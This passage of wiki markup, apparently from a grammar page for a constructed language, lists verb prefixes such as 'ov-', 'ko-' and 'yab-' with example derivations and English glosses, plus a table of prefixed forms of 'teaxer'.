::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') or '''eyb-''' (''among'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''
::* '''mulxer'''....''to materialize'' → '''&lt;u&gt;eyb&lt;/u&gt;mulxer'''....''to mix''
::* '''xer'''....''to do'' → '''&lt;u&gt;eyb&lt;/u&gt;xer'''....''to interest, to involve''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
